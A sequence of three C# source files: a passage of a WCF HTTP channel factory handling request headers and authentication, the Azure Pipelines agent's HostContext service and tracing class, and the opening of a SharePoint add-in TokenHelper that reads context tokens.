impersonationLevel); } protected virtual string OnGetConnectionGroupPrefix(SecurityTokenContainer clientCertificateToken) { return string.Empty; } internal static bool IsWindowsAuth(AuthenticationSchemes authScheme) { Contract.Assert(authScheme.IsSingleton(), "authenticationScheme used in an Http(s)ChannelFactory must be a singleton value."); return authScheme == AuthenticationSchemes.Negotiate || authScheme == AuthenticationSchemes.Ntlm; } private string GetConnectionGroupName(NetworkCredential credential, AuthenticationLevel authenticationLevel, TokenImpersonationLevel impersonationLevel, SecurityTokenContainer clientCertificateToken) { if (_credentialHashCache == null) { lock (ThisLock) { if (_credentialHashCache == null) { _credentialHashCache = new MruCache<string, string>(5); } } } string inputString = TransferModeHelper.IsRequestStreamed(this.TransferMode) ? "streamed" : string.Empty; if (IsWindowsAuth(_authenticationScheme)) { inputString = AppendWindowsAuthenticationInfo(inputString, credential, authenticationLevel, impersonationLevel); } inputString = string.Concat(OnGetConnectionGroupPrefix(clientCertificateToken), inputString); string credentialHash = null; // we have to lock around each call to TryGetValue since the MruCache modifies the // contents of it's mruList in a single-threaded manner underneath TryGetValue if (!string.IsNullOrEmpty(inputString)) { lock (_credentialHashCache) { if (!_credentialHashCache.TryGetValue(inputString, out credentialHash)) { byte[] inputBytes = new UTF8Encoding().GetBytes(inputString); byte[] digestBytes = HashAlgorithm.ComputeHash(inputBytes); credentialHash = Convert.ToBase64String(digestBytes); _credentialHashCache.Add(inputString, credentialHash); } } } return credentialHash; } internal HttpRequestMessage GetHttpRequestMessage(Uri via) { Uri httpRequestUri = via; var requestMessage = new HttpRequestMessage(HttpMethod.Post, httpRequestUri); if (TransferModeHelper.IsRequestStreamed(TransferMode)) { requestMessage.Headers.TransferEncodingChunked = true; } requestMessage.Headers.CacheControl = s_requestCacheHeader; return requestMessage; } private void ApplyManualAddressing(ref EndpointAddress to, ref Uri via, Message message) { if (ManualAddressing) { Uri toHeader = message.Headers.To; if (toHeader == null) { throw TraceUtility.ThrowHelperError(new InvalidOperationException(SR.ManualAddressingRequiresAddressedMessages), message); } to = new EndpointAddress(toHeader); if (MessageVersion.Addressing == AddressingVersion.None) { via = toHeader; } } // now apply query string property object property; if (message.Properties.TryGetValue(HttpRequestMessageProperty.Name, out property)) { HttpRequestMessageProperty requestProperty = (HttpRequestMessageProperty)property; if (!string.IsNullOrEmpty(requestProperty.QueryString)) { UriBuilder uriBuilder = new UriBuilder(via); if (requestProperty.QueryString.StartsWith("?", StringComparison.Ordinal)) { uriBuilder.Query = requestProperty.QueryString.Substring(1); } else { uriBuilder.Query = requestProperty.QueryString; } via = uriBuilder.Uri; } } } [MethodImpl(MethodImplOptions.NoInlining)] private void CreateAndOpenTokenProvidersCore(EndpointAddress to, Uri via, ChannelParameterCollection channelParameters, TimeSpan timeout, out SecurityTokenProviderContainer tokenProvider) { TimeoutHelper timeoutHelper = new TimeoutHelper(timeout); tokenProvider = CreateAndOpenTokenProvider(timeoutHelper.RemainingTime(), AuthenticationScheme, to, via, channelParameters); } internal void CreateAndOpenTokenProviders(EndpointAddress to, Uri via, ChannelParameterCollection channelParameters, TimeSpan timeout, out SecurityTokenProviderContainer tokenProvider) { if (!IsSecurityTokenManagerRequired()) { tokenProvider = null; } else { CreateAndOpenTokenProvidersCore(to, via, channelParameters, timeout, out tokenProvider); } } internal static bool MapIdentity(EndpointAddress target, AuthenticationSchemes authenticationScheme) { if (target.Identity == null) { return false; } return IsWindowsAuth(authenticationScheme); } private bool MapIdentity(EndpointAddress target) { return MapIdentity(target, AuthenticationScheme); } protected class HttpClientRequestChannel : RequestChannel { private HttpChannelFactory<IRequestChannel> _factory; private SecurityTokenProviderContainer _tokenProvider; private ChannelParameterCollection _channelParameters; public HttpClientRequestChannel(HttpChannelFactory<IRequestChannel> factory, EndpointAddress to, Uri via, bool manualAddressing) : base(factory, to, via, manualAddressing) { _factory = factory; } public HttpChannelFactory<IRequestChannel> Factory { get { return _factory; } } protected ChannelParameterCollection ChannelParameters { get { return _channelParameters; } } public override T GetProperty<T>() { if (typeof(T) == typeof(ChannelParameterCollection)) { if (State == CommunicationState.Created) { lock (ThisLock) { if (_channelParameters == null) { _channelParameters = new ChannelParameterCollection(); } } } return (T)(object)_channelParameters; } return base.GetProperty<T>(); } private void PrepareOpen() { Factory.MapIdentity(RemoteAddress); } private void CreateAndOpenTokenProviders(TimeSpan timeout) { TimeoutHelper timeoutHelper = new TimeoutHelper(timeout); if (!ManualAddressing) { Factory.CreateAndOpenTokenProviders(RemoteAddress, Via, _channelParameters, timeoutHelper.RemainingTime(), out _tokenProvider); } } private void CloseTokenProviders(TimeSpan timeout) { TimeoutHelper timeoutHelper = new TimeoutHelper(timeout); if (_tokenProvider != null) { _tokenProvider.Close(timeoutHelper.RemainingTime()); } } private void AbortTokenProviders() { if (_tokenProvider != null) { _tokenProvider.Abort(); } } protected override IAsyncResult OnBeginOpen(TimeSpan timeout, AsyncCallback callback, object state) { return CommunicationObjectInternal.OnBeginOpen(this, timeout, callback, state); } protected override void OnEndOpen(IAsyncResult result) { CommunicationObjectInternal.OnEnd(result); } protected override void OnOpen(TimeSpan timeout) { CommunicationObjectInternal.OnOpen(this, timeout); } internal protected override Task OnOpenAsync(TimeSpan timeout) { PrepareOpen(); CreateAndOpenTokenProviders(timeout); return TaskHelpers.CompletedTask(); } private void PrepareClose(bool aborting) { } protected override void OnAbort() { PrepareClose(true); AbortTokenProviders(); base.OnAbort(); } protected override IAsyncResult OnBeginClose(TimeSpan timeout, AsyncCallback callback, object state) { return CommunicationObjectInternal.OnBeginClose(this, timeout, callback, state); } protected override void OnEndClose(IAsyncResult result) { CommunicationObjectInternal.OnEnd(result); } protected override void OnClose(TimeSpan timeout) { CommunicationObjectInternal.OnClose(this, timeout); } protected internal override async Task OnCloseAsync(TimeSpan timeout) { var timeoutHelper = new TimeoutHelper(timeout); PrepareClose(false); CloseTokenProviders(timeoutHelper.RemainingTime()); await WaitForPendingRequestsAsync(timeoutHelper.RemainingTime()); } protected override IAsyncRequest CreateAsyncRequest(Message message) { return new HttpClientChannelAsyncRequest(this); } internal virtual Task<HttpClient> GetHttpClientAsync(EndpointAddress to, Uri via, TimeoutHelper timeoutHelper) { return GetHttpClientAsync(to, via, null, timeoutHelper); } protected async Task<HttpClient> GetHttpClientAsync(EndpointAddress to, Uri via, SecurityTokenContainer clientCertificateToken, TimeoutHelper timeoutHelper) { SecurityTokenProviderContainer requestTokenProvider; if (ManualAddressing) { Factory.CreateAndOpenTokenProviders(to, via, _channelParameters, timeoutHelper.RemainingTime(), out requestTokenProvider); } else { requestTokenProvider = _tokenProvider; } try { return await Factory.GetHttpClientAsync(to, requestTokenProvider, clientCertificateToken, await timeoutHelper.GetCancellationTokenAsync()); } finally { if (ManualAddressing) { if (requestTokenProvider != null) { requestTokenProvider.Abort(); } } } } internal HttpRequestMessage GetHttpRequestMessage(Uri via) { return Factory.GetHttpRequestMessage(via); } internal virtual void OnHttpRequestCompleted(HttpRequestMessage request) { // empty } internal class HttpClientChannelAsyncRequest : IAsyncRequest { private static readonly Action<object> s_cancelCts = state => { try { ((CancellationTokenSource)state).Cancel(); } catch (ObjectDisposedException) { // ignore } }; private HttpClientRequestChannel _channel; private HttpChannelFactory<IRequestChannel> _factory; private EndpointAddress _to; private Uri _via; private HttpRequestMessage _httpRequestMessage; private HttpResponseMessage _httpResponseMessage; private HttpAbortReason _abortReason; private TimeoutHelper _timeoutHelper; private int _httpRequestCompleted; private HttpClient _httpClient; private readonly CancellationTokenSource _httpSendCts; public HttpClientChannelAsyncRequest(HttpClientRequestChannel channel) { _channel = channel; _to = channel.RemoteAddress; _via = channel.Via; _factory = channel.Factory; _httpSendCts = new CancellationTokenSource(); } public async Task SendRequestAsync(Message message, TimeoutHelper timeoutHelper) { _timeoutHelper = timeoutHelper; _factory.ApplyManualAddressing(ref _to, ref _via, message); _httpClient = await _channel.GetHttpClientAsync(_to, _via, _timeoutHelper); _httpRequestMessage = _channel.GetHttpRequestMessage(_via); // The _httpRequestMessage field will be set to null by Cleanup() due to faulting // or aborting, so use a local copy for exception handling within this method. HttpRequestMessage httpRequestMessage = _httpRequestMessage; Message request = message; try { if (_channel.State != CommunicationState.Opened) { // if we were aborted while getting our request or doing correlation, // we need to abort the request and bail Cleanup(); _channel.ThrowIfDisposedOrNotOpen(); } bool suppressEntityBody = PrepareMessageHeaders(request); if (!suppressEntityBody) { _httpRequestMessage.Content = MessageContent.Create(_factory, request, _timeoutHelper); } try { // There is a possibility that a HEAD pre-auth request might fail when the actual request // will succeed. For example, when the web service refuses HEAD requests. We don't want // to fail the actual request because of some subtlety which causes the HEAD request. await SendPreauthenticationHeadRequestIfNeeded(); } catch { /* ignored */ } bool success = false; var timeoutToken = await _timeoutHelper.GetCancellationTokenAsync(); try { using (timeoutToken.Register(s_cancelCts, _httpSendCts)) { _httpResponseMessage = await _httpClient.SendAsync(_httpRequestMessage, HttpCompletionOption.ResponseHeadersRead, _httpSendCts.Token); } // As we have the response message and no exceptions have been thrown, the request message has completed it's job. // Calling Dispose() on the request message to free up resources in HttpContent, but keeping the object around // as we can still query properties once dispose'd. _httpRequestMessage.Dispose(); success = true; } catch (HttpRequestException requestException) { HttpChannelUtilities.ProcessGetResponseWebException(requestException, httpRequestMessage, _abortReason); } catch (OperationCanceledException) { if (timeoutToken.IsCancellationRequested) { throw DiagnosticUtility.ExceptionUtility.ThrowHelperError(new TimeoutException(SR.Format( SR.HttpRequestTimedOut, httpRequestMessage.RequestUri, _timeoutHelper.OriginalTimeout))); } else { // Cancellation came from somewhere other than timeoutToken and needs to be handled differently. throw; } } finally { if (!success) { Abort(_channel); } } } finally { if (!ReferenceEquals(request, message)) { request.Close(); } } } private void Cleanup() { s_cancelCts(_httpSendCts); if (_httpRequestMessage != null) { var httpRequestMessageSnapshot = _httpRequestMessage; _httpRequestMessage = null; TryCompleteHttpRequest(httpRequestMessageSnapshot); httpRequestMessageSnapshot.Dispose(); } } public void Abort(RequestChannel channel) { Cleanup(); _abortReason = HttpAbortReason.Aborted; } public void Fault(RequestChannel channel) { Cleanup(); } public async Task<Message> ReceiveReplyAsync(TimeoutHelper timeoutHelper) { try { _timeoutHelper = timeoutHelper; var responseHelper = new HttpResponseMessageHelper(_httpResponseMessage, _factory); var replyMessage = await responseHelper.ParseIncomingResponse(timeoutHelper); TryCompleteHttpRequest(_httpRequestMessage); return replyMessage; } catch (OperationCanceledException) { var cancelToken = _timeoutHelper.GetCancellationToken(); if (cancelToken.IsCancellationRequested) { throw DiagnosticUtility.ExceptionUtility.ThrowHelperError(new TimeoutException(SR.Format( SR.HttpResponseTimedOut, _httpRequestMessage.RequestUri, timeoutHelper.OriginalTimeout))); } else { // Cancellation came from somewhere other than timeoutCts and needs to be handled differently. throw; } } } private bool PrepareMessageHeaders(Message message) { string action = message.Headers.Action; if (action != null) { action = string.Format(CultureInfo.InvariantCulture, "\"{0}\"", UrlUtility.UrlPathEncode(action)); } if (message.Version.Addressing == AddressingVersion.None) { message.Headers.Action = null; message.Headers.To = null; } bool suppressEntityBody = message is NullMessage; object property; if (message.Properties.TryGetValue(HttpRequestMessageProperty.Name, out property)) { HttpRequestMessageProperty requestProperty = (HttpRequestMessageProperty)property; _httpRequestMessage.Method = new HttpMethod(requestProperty.Method); // Query string was applied in HttpChannelFactory.ApplyManualAddressing WebHeaderCollection requestHeaders = requestProperty.Headers; suppressEntityBody = suppressEntityBody || requestProperty.SuppressEntityBody; var headerKeys = requestHeaders.AllKeys; for (int i = 0; i < headerKeys.Length; i++) { string name = headerKeys[i]; string value = requestHeaders[name]; if (string.Compare(name, "accept", StringComparison.OrdinalIgnoreCase) == 0) { _httpRequestMessage.Headers.Accept.TryParseAdd(value); } else if (string.Compare(name, "connection", StringComparison.OrdinalIgnoreCase) == 0) { if (value.IndexOf("keep-alive", StringComparison.OrdinalIgnoreCase) != -1) { _httpRequestMessage.Headers.ConnectionClose = false; } else { _httpRequestMessage.Headers.Connection.TryParseAdd(value); } } else if (string.Compare(name, "SOAPAction", StringComparison.OrdinalIgnoreCase) == 0) { if (action == null) { action = value; } else { if (!String.IsNullOrEmpty(value) && string.Compare(value, action, StringComparison.Ordinal) != 0) { throw DiagnosticUtility.ExceptionUtility.ThrowHelperError( new ProtocolException(SR.Format(SR.HttpSoapActionMismatch, action, value))); } } } else if (string.Compare(name, "content-length", StringComparison.OrdinalIgnoreCase) == 0) { // this will be taken care of by System.Net when we write to the content } else if (string.Compare(name, "content-type", StringComparison.OrdinalIgnoreCase) == 0) { // Handled by MessageContent } else if (string.Compare(name, "expect", StringComparison.OrdinalIgnoreCase) == 0) { if (value.ToUpperInvariant().IndexOf("100-CONTINUE", StringComparison.OrdinalIgnoreCase) != -1) { _httpRequestMessage.Headers.ExpectContinue = true; } else { _httpRequestMessage.Headers.Expect.TryParseAdd(value); } } else if (string.Compare(name, "host", StringComparison.OrdinalIgnoreCase) == 0) { // this should be controlled through Via } else if (string.Compare(name, "referer", StringComparison.OrdinalIgnoreCase) == 0) { // referrer is proper spelling, but referer is the what is in the protocol. _httpRequestMessage.Headers.Referrer = new Uri(value); } else if (string.Compare(name, "transfer-encoding", StringComparison.OrdinalIgnoreCase) == 0) { if (value.ToUpperInvariant().IndexOf("CHUNKED", StringComparison.OrdinalIgnoreCase) != -1) { _httpRequestMessage.Headers.TransferEncodingChunked = true; } else { _httpRequestMessage.Headers.TransferEncoding.TryParseAdd(value); } } else if (string.Compare(name, "user-agent", StringComparison.OrdinalIgnoreCase) == 0) { _httpRequestMessage.Headers.UserAgent.Add(ProductInfoHeaderValue.Parse(value)); } else if (string.Compare(name, "if-modified-since", StringComparison.OrdinalIgnoreCase) == 0) { DateTimeOffset modifiedSinceDate; if (DateTimeOffset.TryParse(value, DateTimeFormatInfo.InvariantInfo, DateTimeStyles.AllowWhiteSpaces | DateTimeStyles.AssumeLocal, out modifiedSinceDate)) { _httpRequestMessage.Headers.IfModifiedSince = modifiedSinceDate; } else { throw DiagnosticUtility.ExceptionUtility.ThrowHelperError( new ProtocolException(SR.Format(SR.HttpIfModifiedSinceParseError, value))); } } else if (string.Compare(name, "date", StringComparison.OrdinalIgnoreCase) == 0) { // this will be taken care of by System.Net when we make the request } else if (string.Compare(name, "proxy-connection", StringComparison.OrdinalIgnoreCase) == 0) { throw ExceptionHelper.PlatformNotSupported("proxy-connection"); } else if (string.Compare(name, "range", StringComparison.OrdinalIgnoreCase) == 0) { // specifying a range doesn't make sense in the context of WCF } else { try { _httpRequestMessage.Headers.Add(name, value); } catch (Exception addHeaderException) { throw FxTrace.Exception.AsError(new InvalidOperationException(SR.Format( SR.CopyHttpHeaderFailed, name, value, HttpChannelUtilities.HttpRequestHeadersTypeName), addHeaderException)); } } } } if (action != null) { if (message.Version.Envelope == EnvelopeVersion.Soap11) { _httpRequestMessage.Headers.TryAddWithoutValidation("SOAPAction", action); } else if (message.Version.Envelope == EnvelopeVersion.Soap12) { // Handled by MessageContent } else if (message.Version.Envelope != EnvelopeVersion.None) { throw DiagnosticUtility.ExceptionUtility.ThrowHelperError( new ProtocolException(SR.Format(SR.EnvelopeVersionUnknown, message.Version.Envelope.ToString()))); } } // since we don't get the output stream in send when retVal == true, // we need to disable chunking for some verbs (DELETE/PUT) if (suppressEntityBody) { _httpRequestMessage.Headers.TransferEncodingChunked = false; } return suppressEntityBody; } public void OnReleaseRequest() { TryCompleteHttpRequest(_httpRequestMessage); } private void TryCompleteHttpRequest(HttpRequestMessage request) { if (request == null) { return; } if (Interlocked.CompareExchange(ref _httpRequestCompleted, 1, 0) == 0) { _channel.OnHttpRequestCompleted(request); } } private async Task SendPreauthenticationHeadRequestIfNeeded() { if (!AuthenticationSchemeMayRequireResend()) { return; } var requestUri = _httpRequestMessage.RequestUri; // sends a HEAD request to the specificed requestUri for authentication purposes Contract.Assert(requestUri != null); HttpRequestMessage headHttpRequestMessage = new HttpRequestMessage() { Method = HttpMethod.Head, RequestUri = requestUri }; var cancelToken = await _timeoutHelper.GetCancellationTokenAsync(); await _httpClient.SendAsync(headHttpRequestMessage, cancelToken); } private bool AuthenticationSchemeMayRequireResend() { return _factory.AuthenticationScheme != AuthenticationSchemes.Anonymous; } } } } }
using Microsoft.VisualStudio.Services.Agent.Util; using System; using System.Collections.Concurrent; using System.Collections.Generic; using System.Globalization; using System.IO; using System.Linq; using System.Reflection; using System.Runtime.Loader; using System.Threading; using System.Threading.Tasks; using System.Diagnostics; using System.Net.Http; using System.Diagnostics.Tracing; namespace Microsoft.VisualStudio.Services.Agent { public interface IHostContext : IDisposable { RunMode RunMode { get; set; } string GetDirectory(WellKnownDirectory directory); Tracing GetTrace(string name); Task Delay(TimeSpan delay, CancellationToken cancellationToken); T CreateService<T>() where T : class, IAgentService; T GetService<T>() where T : class, IAgentService; void SetDefaultCulture(string name); event EventHandler Unloading; StartupType StartupType {get; set;} CancellationToken AgentShutdownToken { get; } ShutdownReason AgentShutdownReason { get; } void ShutdownAgent(ShutdownReason reason); } public enum StartupType { ManualInteractive, Service, AutoStartup } public sealed class HostContext : EventListener, IObserver<DiagnosticListener>, IObserver<KeyValuePair<string, object>>, IHostContext, IDisposable { private const int _defaultLogPageSize = 8; //MB private static int _defaultLogRetentionDays = 30; private static int[] _vssHttpMethodEventIds = new int[] { 1, 2, 3, 4, 5, 6, 7, 8, 9, 24 }; private static int[] _vssHttpCredentialEventIds = new int[] { 11, 13, 14, 15, 16, 17, 18, 20, 21, 22, 27, 29 }; private readonly ConcurrentDictionary<Type, object> _serviceInstances = new ConcurrentDictionary<Type, object>(); private readonly ConcurrentDictionary<Type, Type> _serviceTypes = new ConcurrentDictionary<Type, Type>(); private CancellationTokenSource _agentShutdownTokenSource = new CancellationTokenSource(); private RunMode _runMode = RunMode.Normal; private Tracing _trace; private Tracing _vssTrace; private Tracing _httpTrace; private ITraceManager _traceManager; private AssemblyLoadContext _loadContext; private IDisposable _httpTraceSubscription; private IDisposable _diagListenerSubscription; private StartupType _startupType; public event EventHandler Unloading; public CancellationToken AgentShutdownToken => _agentShutdownTokenSource.Token; public ShutdownReason AgentShutdownReason { get; private set; } public HostContext(string hostType, string logFile = null) { // Validate args. ArgUtil.NotNullOrEmpty(hostType, nameof(hostType)); _loadContext = AssemblyLoadContext.GetLoadContext(typeof(HostContext).GetTypeInfo().Assembly); _loadContext.Unloading += LoadContext_Unloading; // Create the trace manager. if (string.IsNullOrEmpty(logFile)) { int logPageSize; string logSizeEnv = Environment.GetEnvironmentVariable($"{hostType.ToUpperInvariant()}_LOGSIZE"); if (!string.IsNullOrEmpty(logSizeEnv) || !int.TryParse(logSizeEnv, out logPageSize)) { logPageSize = _defaultLogPageSize; } int logRetentionDays; string logRetentionDaysEnv = Environment.GetEnvironmentVariable($"{hostType.ToUpperInvariant()}_LOGRETENTION"); if (!string.IsNullOrEmpty(logRetentionDaysEnv) || !int.TryParse(logRetentionDaysEnv, out logRetentionDays)) { logRetentionDays = _defaultLogRetentionDays; } _traceManager = new TraceManager(new HostTraceListener(hostType, logPageSize, logRetentionDays), GetService<ISecretMasker>()); } else { _traceManager = new TraceManager(new HostTraceListener(logFile), GetService<ISecretMasker>()); } _trace = GetTrace(nameof(HostContext)); _vssTrace = GetTrace(nameof(VisualStudio) + nameof(VisualStudio.Services)); // VisualStudioService // Enable Http trace bool enableHttpTrace; if (bool.TryParse(Environment.GetEnvironmentVariable("VSTS_AGENT_HTTPTRACE"), out enableHttpTrace) && enableHttpTrace) { _trace.Warning("*****************************************************************************************"); _trace.Warning("** **"); _trace.Warning("** Http trace is enabled, all your http traffic will be dumped into agent diag log. **"); _trace.Warning("** DO NOT share the log in public place! The trace may contains secrets in plain text. **"); _trace.Warning("** **"); _trace.Warning("*****************************************************************************************"); _httpTrace = GetTrace("HttpTrace"); _diagListenerSubscription = DiagnosticListener.AllListeners.Subscribe(this); } } public RunMode RunMode { get { return _runMode; } set { _trace.Info($"Set run mode: {value}"); _runMode = value; } } public string GetDirectory(WellKnownDirectory directory) { string path; switch (directory) { case WellKnownDirectory.Bin: path = Path.GetDirectoryName(Assembly.GetEntryAssembly().Location); break; case WellKnownDirectory.Diag: path = Path.Combine( GetDirectory(WellKnownDirectory.Root), Constants.Path.DiagDirectory); break; case WellKnownDirectory.Externals: path = Path.Combine( GetDirectory(WellKnownDirectory.Root), Constants.Path.ExternalsDirectory); break; case WellKnownDirectory.LegacyPSHost: path = Path.Combine( GetDirectory(WellKnownDirectory.Externals), Constants.Path.LegacyPSHostDirectory); break; case WellKnownDirectory.Root: path = new DirectoryInfo(GetDirectory(WellKnownDirectory.Bin)).Parent.FullName; break; case WellKnownDirectory.ServerOM: path = Path.Combine( GetDirectory(WellKnownDirectory.Externals), Constants.Path.ServerOMDirectory); break; case WellKnownDirectory.Tee: path = Path.Combine( GetDirectory(WellKnownDirectory.Externals), Constants.Path.TeeDirectory); break; case WellKnownDirectory.Tasks: path = Path.Combine( GetDirectory(WellKnownDirectory.Work), Constants.Path.TasksDirectory); break; case WellKnownDirectory.Update: path = Path.Combine( GetDirectory(WellKnownDirectory.Work), Constants.Path.UpdateDirectory); break; case WellKnownDirectory.Work: var configurationStore = GetService<IConfigurationStore>(); AgentSettings settings = configurationStore.GetSettings(); ArgUtil.NotNull(settings, nameof(settings)); ArgUtil.NotNullOrEmpty(settings.WorkFolder, nameof(settings.WorkFolder)); path = Path.Combine( GetDirectory(WellKnownDirectory.Root), settings.WorkFolder); break; default: throw new NotSupportedException($"Unexpected well known directory: '{directory}'"); } _trace.Info($"Well known directory '{directory}': '{path}'"); return path; } public Tracing GetTrace(string name) { return _traceManager[name]; } public async Task Delay(TimeSpan delay, CancellationToken cancellationToken) { await Task.Delay(delay, cancellationToken); } /// <summary> /// Creates a new instance of T. /// </summary> public T CreateService<T>() where T : class, IAgentService { Type target; if (!_serviceTypes.TryGetValue(typeof(T), out target)) { // Infer the concrete type from the ServiceLocatorAttribute. CustomAttributeData attribute = typeof(T) .GetTypeInfo() .CustomAttributes .FirstOrDefault(x => x.AttributeType == typeof(ServiceLocatorAttribute)); if (attribute != null) { foreach (CustomAttributeNamedArgument arg in attribute.NamedArguments) { if (string.Equals(arg.MemberName, ServiceLocatorAttribute.DefaultPropertyName, StringComparison.Ordinal)) { target = arg.TypedValue.Value as Type; } } } if (target == null) { throw new KeyNotFoundException(string.Format(CultureInfo.InvariantCulture, "Service mapping not found for key '{0}'.", typeof(T).FullName)); } _serviceTypes.TryAdd(typeof(T), target); target = _serviceTypes[typeof(T)]; } // Create a new instance. T svc = Activator.CreateInstance(target) as T; svc.Initialize(this); return svc; } /// <summary> /// Gets or creates an instance of T. /// </summary> public T GetService<T>() where T : class, IAgentService { // Return the cached instance if one already exists. object instance; if (_serviceInstances.TryGetValue(typeof(T), out instance)) { return instance as T; } // Otherwise create a new instance and try to add it to the cache. _serviceInstances.TryAdd(typeof(T), CreateService<T>()); // Return the instance from the cache. return _serviceInstances[typeof(T)] as T; } public void SetDefaultCulture(string name) { ArgUtil.NotNull(name, nameof(name)); _trace.Verbose($"Setting default culture and UI culture to: '{name}'"); CultureInfo.DefaultThreadCurrentCulture = new CultureInfo(name); CultureInfo.DefaultThreadCurrentUICulture = new CultureInfo(name); } public void ShutdownAgent(ShutdownReason reason) { ArgUtil.NotNull(reason, nameof(reason)); _trace.Info($"Agent will be shutdown for {reason.ToString()}"); AgentShutdownReason = reason; _agentShutdownTokenSource.Cancel(); } public override void Dispose() { Dispose(true); GC.SuppressFinalize(this); } public StartupType StartupType { get { return _startupType; } set { _startupType = value; } } private void Dispose(bool disposing) { // TODO: Dispose the trace listener also. if (disposing) { if (_loadContext != null) { _loadContext.Unloading -= LoadContext_Unloading; _loadContext = null; } _httpTraceSubscription?.Dispose(); _diagListenerSubscription?.Dispose(); _traceManager?.Dispose(); _traceManager = null; _agentShutdownTokenSource?.Dispose(); _agentShutdownTokenSource = null; base.Dispose(); } } private void LoadContext_Unloading(AssemblyLoadContext obj) { if (Unloading != null) { Unloading(this, null); } } void IObserver<DiagnosticListener>.OnCompleted() { _httpTrace.Info("DiagListeners finished transmitting data."); } void IObserver<DiagnosticListener>.OnError(Exception error) { _httpTrace.Error(error); } void IObserver<DiagnosticListener>.OnNext(DiagnosticListener listener) { if (listener.Name == "HttpHandlerDiagnosticListener" && _httpTraceSubscription == null) { _httpTraceSubscription = listener.Subscribe(this); } } void IObserver<KeyValuePair<string, object>>.OnCompleted() { _httpTrace.Info("HttpHandlerDiagnosticListener finished transmitting data."); } void IObserver<KeyValuePair<string, object>>.OnError(Exception error) { _httpTrace.Error(error); } void IObserver<KeyValuePair<string, object>>.OnNext(KeyValuePair<string, object> value) { _httpTrace.Info($"Trace {value.Key} event:{Environment.NewLine}{value.Value.ToString()}"); } protected override void OnEventSourceCreated(EventSource source) { if (source.Name.Equals("Microsoft-VSS-Http")) { EnableEvents(source, EventLevel.Verbose); } } protected override void OnEventWritten(EventWrittenEventArgs eventData) { if (eventData == null) { return; } string message = eventData.Message; object[] payload = new object[0]; if (eventData.Payload != null && eventData.Payload.Count > 0) { payload = eventData.Payload.ToArray(); } try { if (_vssHttpMethodEventIds.Contains(eventData.EventId)) { payload[0] = Enum.Parse(typeof(VssHttpMethod), ((int)payload[0]).ToString()); } else if (_vssHttpCredentialEventIds.Contains(eventData.EventId)) { payload[0] = Enum.Parse(typeof(VisualStudio.Services.Common.VssCredentialsType), ((int)payload[0]).ToString()); } if (payload.Length > 0) { message = String.Format(eventData.Message.Replace("%n", Environment.NewLine), payload); } switch (eventData.Level) { case EventLevel.Critical: case EventLevel.Error: _vssTrace.Error(message); break; case EventLevel.Warning: _vssTrace.Warning(message); break; case EventLevel.Informational: _vssTrace.Info(message); break; default: _vssTrace.Verbose(message); break; } } catch (Exception ex) { _vssTrace.Error(ex); _vssTrace.Info(eventData.Message); _vssTrace.Info(string.Join(", ", eventData.Payload?.ToArray() ?? new string[0])); } } // Copied from VSTS code base, used for EventData translation. internal enum VssHttpMethod { UNKNOWN, DELETE, HEAD, GET, OPTIONS, PATCH, POST, PUT, } } public static class HostContextExtension { public static HttpClientHandler CreateHttpClientHandler(this IHostContext context) { HttpClientHandler clientHandler = new HttpClientHandler(); var agentWebProxy = context.GetService<IVstsAgentWebProxy>(); clientHandler.Proxy = agentWebProxy; return clientHandler; } } public enum ShutdownReason { UserCancelled = 0, OperatingSystemShutdown = 1, } }
using Microsoft.IdentityModel; using Microsoft.IdentityModel.S2S.Protocols.OAuth2; using Microsoft.IdentityModel.S2S.Tokens; using Microsoft.SharePoint.Client; using Microsoft.SharePoint.Client.EventReceivers; using System; using System.Collections.Generic; using System.Collections.ObjectModel; using System.Globalization; using System.IdentityModel.Selectors; using System.IdentityModel.Tokens; using System.IO; using System.Linq; using System.Net; using System.Security.Cryptography.X509Certificates; using System.Security.Principal; using System.ServiceModel; using System.Text; using System.Web; using System.Web.Configuration; using System.Web.Script.Serialization; using AudienceRestriction = Microsoft.IdentityModel.Tokens.AudienceRestriction; using AudienceUriValidationFailedException = Microsoft.IdentityModel.Tokens.AudienceUriValidationFailedException; using SecurityTokenHandlerConfiguration = Microsoft.IdentityModel.Tokens.SecurityTokenHandlerConfiguration; using X509SigningCredentials = Microsoft.IdentityModel.SecurityTokenService.X509SigningCredentials; namespace SnowProCorp.ShipmentsWeb { public static class TokenHelper { #region public fields /// <summary> /// SharePoint principal. /// </summary> public const string SharePointPrincipal = "00000003-0000-0ff1-ce00-000000000000"; /// <summary> /// Lifetime of HighTrust access token, 12 hours. /// </summary> public static readonly TimeSpan HighTrustAccessTokenLifetime = TimeSpan.FromHours(12.0); #endregion public fields #region public methods /// <summary> /// Retrieves the context token string from the specified request by looking for well-known parameter names in the /// POSTed form parameters and the querystring. Returns null if no context token is found. /// </summary> /// <param name="request">HttpRequest in which to look for a context token</param> /// <returns>The context token string</returns> public static string GetContextTokenFromRequest(HttpRequest request) { return GetContextTokenFromRequest(new HttpRequestWrapper(request)); } /// <summary> /// Retrieves the context token string from the specified request by looking for well-known parameter names in the /// POSTed form parameters and the querystring. Returns null if no context token is found. /// </summary> /// <param name="request">HttpRequest in which to look for a context token</param> /// <returns>The context token string</returns> public static string GetContextTokenFromRequest(HttpRequestBase request) { string[] paramNames = { "AppContext", "AppContextToken", "AccessToken", "SPAppToken" }; foreach (string paramName in paramNames) { if (!string.IsNullOrEmpty(request.Form[paramName])) { return request.Form[paramName]; } if (!string.IsNullOrEmpty(request.QueryString[paramName])) { return request.QueryString[paramName]; } } return null; } /// <summary> /// Validate that a specified context token string is intended for this application based on the parameters /// specified in web.config. Parameters used from web.config used for validation include ClientId, /// HostedAppHostNameOverride, HostedAppHostName, ClientSecret, and Realm (if it is specified). If HostedAppHostNameOverride is present, /// it will be used for validation. Otherwise, if the <paramref name="appHostName"/> is not /// null, it is used for validation instead of the web.config's HostedAppHostName. If the token is invalid, an /// exception is thrown. If the token is valid, TokenHelper's static STS metadata url is updated based on the token contents /// and a JsonWebSecurityToken based on the context token is returned. /// </summary> /// <param name="contextTokenString">The context token to validate</param> /// <param name="appHostName">The URL authority, consisting of Domain Name System (DNS) host name or IP address and the port number, to use for token audience validation. /// If null, HostedAppHostName web.config setting is used instead. HostedAppHostNameOverride web.config setting, if present, will be used /// for validation instead of <paramref name="appHostName"/> .</param> /// <returns>A JsonWebSecurityToken based on the context token.</returns> public static SharePointContextToken ReadAndValidateContextToken(string contextTokenString, string appHostName = null) { JsonWebSecurityTokenHandler tokenHandler = CreateJsonWebSecurityTokenHandler(); SecurityToken securityToken = tokenHandler.ReadToken(contextTokenString); JsonWebSecurityToken jsonToken = securityToken as JsonWebSecurityToken; SharePointContextToken token = SharePointContextToken.Create(jsonToken); string stsAuthority = (new 